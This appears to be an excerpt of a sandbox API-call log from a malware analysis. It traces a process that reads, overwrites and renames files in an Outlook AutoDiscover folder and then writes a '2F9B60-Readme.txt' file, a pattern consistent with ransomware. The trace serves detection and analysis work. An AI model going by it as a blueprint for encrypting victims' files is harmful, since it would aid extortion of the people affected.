[0156.066] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.066] WriteFile (in: hFile=0x8f0, lpBuffer=0x429c8200*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x32d7fcf4, lpOverlapped=0x0 | out: lpBuffer=0x429c8200*, lpNumberOfBytesWritten=0x32d7fcf4*=0x330, lpOverlapped=0x0) returned 1 [0162.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0162.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0162.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613d0) returned 1 [0162.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429c8200) returned 1 [0162.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429c45f0) returned 1 [0162.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24620) returned 1 [0162.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18910) returned 1 [0162.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f5b0 [0162.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18910 [0162.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24620 [0162.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0162.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613d0) returned 1 [0162.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9fbf0 [0162.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202613d0 [0162.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263920 [0162.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263920) returned 1 [0162.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24620) returned 1 [0162.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18910) returned 1 [0162.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x114) returned 0x168120 [0162.872] SetFilePointerEx (in: hFile=0x8f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.872] WriteFile (in: hFile=0x8f0, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x32d7fe10, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x32d7fe10*=0x114, lpOverlapped=0x0) returned 1 [0164.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0164.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbb70 [0164.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbb70) returned 1 [0164.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cddbb70 [0164.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbb40 [0164.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddba80 [0164.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddba80) returned 1 [0164.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0164.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce18690 [0164.836] sprintf (in: _Dest=0x1ce18690, _Format="%c%c" | out: _Dest="73") returned 2 [0164.836] sprintf (in: _Dest=0x1ce18692, _Format="%c%c" | out: _Dest="6a") returned 2 [0164.836] sprintf (in: _Dest=0x1ce18694, _Format="%c%c" | out: _Dest="33") returned 2 [0164.836] sprintf (in: _Dest=0x1ce18696, _Format="%c%c" | out: _Dest="53") returned 2 [0164.836] sprintf (in: _Dest=0x1ce18698, _Format="%c%c" | out: _Dest="81") returned 2 [0164.836] sprintf (in: _Dest=0x1ce1869a, _Format="%c%c" | out: _Dest="7c") returned 2 [0164.836] sprintf (in: _Dest=0x1ce1869c, _Format="%c%c" | out: _Dest="69") returned 2 [0164.836] sprintf (in: _Dest=0x1ce1869e, _Format="%c%c" | out: _Dest="70") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186a0, _Format="%c%c" | out: _Dest="50") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186a2, _Format="%c%c" | out: _Dest="f6") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186a4, _Format="%c%c" | out: _Dest="03") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186a6, _Format="%c%c" | out: _Dest="64") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186a8, _Format="%c%c" | out: _Dest="78") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186aa, _Format="%c%c" | out: _Dest="d9") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186ac, _Format="%c%c" | out: _Dest="ee") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186ae, _Format="%c%c" | out: _Dest="9d") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186b0, _Format="%c%c" | out: _Dest="02") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186b2, _Format="%c%c" | out: _Dest="2f") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186b4, _Format="%c%c" | out: _Dest="a6") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186b6, _Format="%c%c" | out: _Dest="fd") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186b8, _Format="%c%c" | out: _Dest="97") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186ba, _Format="%c%c" | out: _Dest="52") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186bc, _Format="%c%c" | out: _Dest="5f") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186be, _Format="%c%c" | out: _Dest="0a") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186c0, _Format="%c%c" | out: _Dest="7b") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186c2, _Format="%c%c" | out: _Dest="e4") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186c4, _Format="%c%c" | out: _Dest="0c") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186c6, _Format="%c%c" | out: _Dest="e2") returned 2 [0164.836] sprintf (in: _Dest=0x1ce186c8, _Format="%c%c" | out: _Dest="c7") returned 2 [0164.837] sprintf (in: _Dest=0x1ce186ca, _Format="%c%c" | out: _Dest="87") returned 2 [0164.837] sprintf (in: _Dest=0x1ce186cc, _Format="%c%c" | out: _Dest="99") returned 2 [0164.837] sprintf (in: _Dest=0x1ce186ce, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.837] sprintf (in: _Dest=0x1ce186d0, _Format="%c%c" | out: _Dest="45") returned 2 [0164.837] sprintf (in: _Dest=0x1ce186d2, _Format="%c%c" | out: _Dest="a1") returned 2 [0164.837] RtlInitAnsiString (in: DestinationString=0x32d7fe88, SourceString="736a3353817c697050f6036478d9ee9d022fa6fd97525f0a7be40ce2c78799ef45a1" | out: DestinationString="736a3353817c697050f6036478d9ee9d022fa6fd97525f0a7be40ce2c78799ef45a1") [0164.837] RtlAnsiStringToUnicodeString (in: DestinationString=0x32d7fe58, SourceString="736a3353817c697050f6036478d9ee9d022fa6fd97525f0a7be40ce2c78799ef45a1", AllocateDestinationString=1 | out: DestinationString="736a3353817c697050f6036478d9ee9d022fa6fd97525f0a7be40ce2c78799ef45a1") returned 0x0 [0164.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x42c306d0 [0164.837] RtlFreeAnsiString (AnsiString="7") [0164.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbb70) returned 1 [0164.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbb40) returned 1 [0164.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168120) returned 1 [0164.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0164.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202613d0) returned 1 [0164.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0164.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260380) returned 1 [0164.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbba0) returned 1 [0164.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc60) returned 1 [0164.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc90) returned 1 [0164.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x42c36390 [0164.840] wcscat (in: _Dest=0x42c36390, _Source="736a3353817c69705" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\736a3353817c69705") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\736a3353817c69705" [0164.840] wcscat (in: _Dest=0x42c36390, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\736a3353817c69705.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\736a3353817c69705.2f9b60" [0164.840] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\736a3353817c69705.2f9b60", NtPathName=0x32d7fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\736a3353817c69705.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1cecfa20 [0165.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfa20) returned 1 [0165.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32fe0) returned 1 [0165.287] NtQueryInformationFile (in: FileHandle=0x8f0, IoStatusBlock=0x32d7fe98, FileInformation=0x32d7fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x32d7fe98, FileInformation=0x32d7fea8) returned 0x0 [0165.287] NtSetInformationFile (FileHandle=0x8f0, IoStatusBlock=0x32d7fe98, FileInformation=0x32d7fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36390) returned 1 [0165.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c306d0) returned 1 [0165.298] FlushFileBuffers (hFile=0x8f0) returned 1 [0166.270] CloseHandle (hObject=0x8f0) returned 1 [0183.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ac790 [0183.970] wcscpy (in: _Dest=0x202ac790, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0183.971] wcscat (in: _Dest=0x202ac790, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" [0183.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\2f9b60-readme.txt")) returned 0xffffffff [0183.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac8 [0192.877] WriteFile (in: hFile=0x2ac8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x32d7fd50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x32d7fd50*=0xba9, lpOverlapped=0x0) returned 1 [0203.038] CloseHandle (hObject=0x2ac8) returned 1 [0206.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac790) returned 1 [0206.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cdf0) returned 1 Thread: id = 2582 os_tid = 0x20c4 [0155.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml")) returned 0x20 [0155.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML", dwFileAttributes=0x20) returned 1 [0155.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\btinternet.net.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc78 [0155.954] GetFileSizeEx (in: hFile=0xc78, lpFileSize=0x3300fc20 | out: lpFileSize=0x3300fc20*=807) returned 1 [0155.954] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x323, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.954] ReadFile (in: hFile=0xc78, lpBuffer=0x3300fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3300fbe8, lpOverlapped=0x0 | out: lpBuffer=0x3300fba0*, lpNumberOfBytesRead=0x3300fbe8*=0x4, lpOverlapped=0x0) returned 1 [0156.066] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0156.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc30 [0156.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbcc0 [0156.067] NtQuerySystemTime (in: CurrentTime=0x3300fae0 | out: CurrentTime=0x3300fae0*=132462177612022000) returned 0x0 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x5a55148a [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x39820f5 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x1c41d4cc [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x129b612e [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x57ff941e [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x311a93a3 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x1dc3c028 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x6a778c60 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x6ce39433 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x70083ff4 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x245f3f7 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x53b9d7ac [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x485b6474 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x2eb16ee1 [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x683c7cef [0156.067] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x2bbf36e7 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x75bfe3ec [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x4b6a4f1b [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x26048e03 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x6dc208a0 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x5857cb25 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x6ce39433 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x58d0c9bb [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x78212eb9 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x6d06e16d [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0xa55996b [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x31132a85 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x378633eb [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x14b4ca70 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x235e1394 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x16b0ec92 [0156.068] RtlRandomEx (in: Seed=0x3300fad0 | out: Seed=0x3300fad0) returned 0x4310cba5 [0156.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbcf0 [0156.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0156.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd20 [0156.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0156.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbcc0) returned 1 [0156.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0156.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18960 [0156.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0156.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb930 [0156.080] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb930) returned 1 [0156.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429cbe10 [0156.080] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429cfa20 [0156.081] ReadFile (in: hFile=0xc78, lpBuffer=0x429cbe10, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x3300fad0, lpOverlapped=0x0 | out: lpBuffer=0x429cbe10*, lpNumberOfBytesRead=0x3300fad0*=0x327, lpOverlapped=0x0) returned 1 [0156.081] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.081] WriteFile (in: hFile=0xc78, lpBuffer=0x429cfa20*, nNumberOfBytesToWrite=0x327, lpNumberOfBytesWritten=0x3300fad4, lpOverlapped=0x0 | out: lpBuffer=0x429cfa20*, lpNumberOfBytesWritten=0x3300fad4*=0x327, lpOverlapped=0x0) returned 1 [0164.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f47b0 [0164.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4780 [0164.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4780) returned 1 [0164.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429cfa20) returned 1 [0164.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429cbe10) returned 1 [0164.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18960) returned 1 [0164.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7aa260 [0164.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18960 [0164.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0164.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4780 [0164.597] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4780) returned 1 [0164.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7a8e60 [0164.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4780 [0164.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4840 [0164.598] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4840) returned 1 [0164.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18960) returned 1 [0164.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x42c14e10 [0164.600] SetFilePointerEx (in: hFile=0xc78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0164.600] WriteFile (in: hFile=0xc78, lpBuffer=0x42c14e10*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3300fbf0, lpOverlapped=0x0 | out: lpBuffer=0x42c14e10*, lpNumberOfBytesWritten=0x3300fbf0*=0x116, lpOverlapped=0x0) returned 1 [0200.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff10 [0200.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff10) returned 1 [0200.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85ff10 [0200.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860480 [0200.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8612c0 [0200.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8612c0) returned 1 [0200.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.215] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b859390 [0200.216] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="48") returned 2 [0200.216] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.216] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="cd") returned 2 [0200.216] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="08") returned 2 [0200.216] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="7e") returned 2 [0200.216] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="43") returned 2 [0200.216] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="0b") returned 2 [0200.216] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="ca") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="7d") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="fb") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="b2") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="39") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="3c") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="70") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="6f") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="1f") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="3a") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="3e") returned 2 [0200.216] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="00") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="ad") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="38") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="37") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="50") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="45") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="d3") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="e1") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="dc") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="71") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="d0") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="51") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="e7") returned 2 [0200.217] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.217] RtlInitAnsiString (in: DestinationString=0x3300fc68, SourceString="48d1cd087e430bca7dfbb29c39ec3c706f1f3a3e00ad38375045d3aae1dc71d051f5e7b4" | out: DestinationString="48d1cd087e430bca7dfbb29c39ec3c706f1f3a3e00ad38375045d3aae1dc71d051f5e7b4") [0200.217] RtlAnsiStringToUnicodeString (in: DestinationString=0x3300fc38, 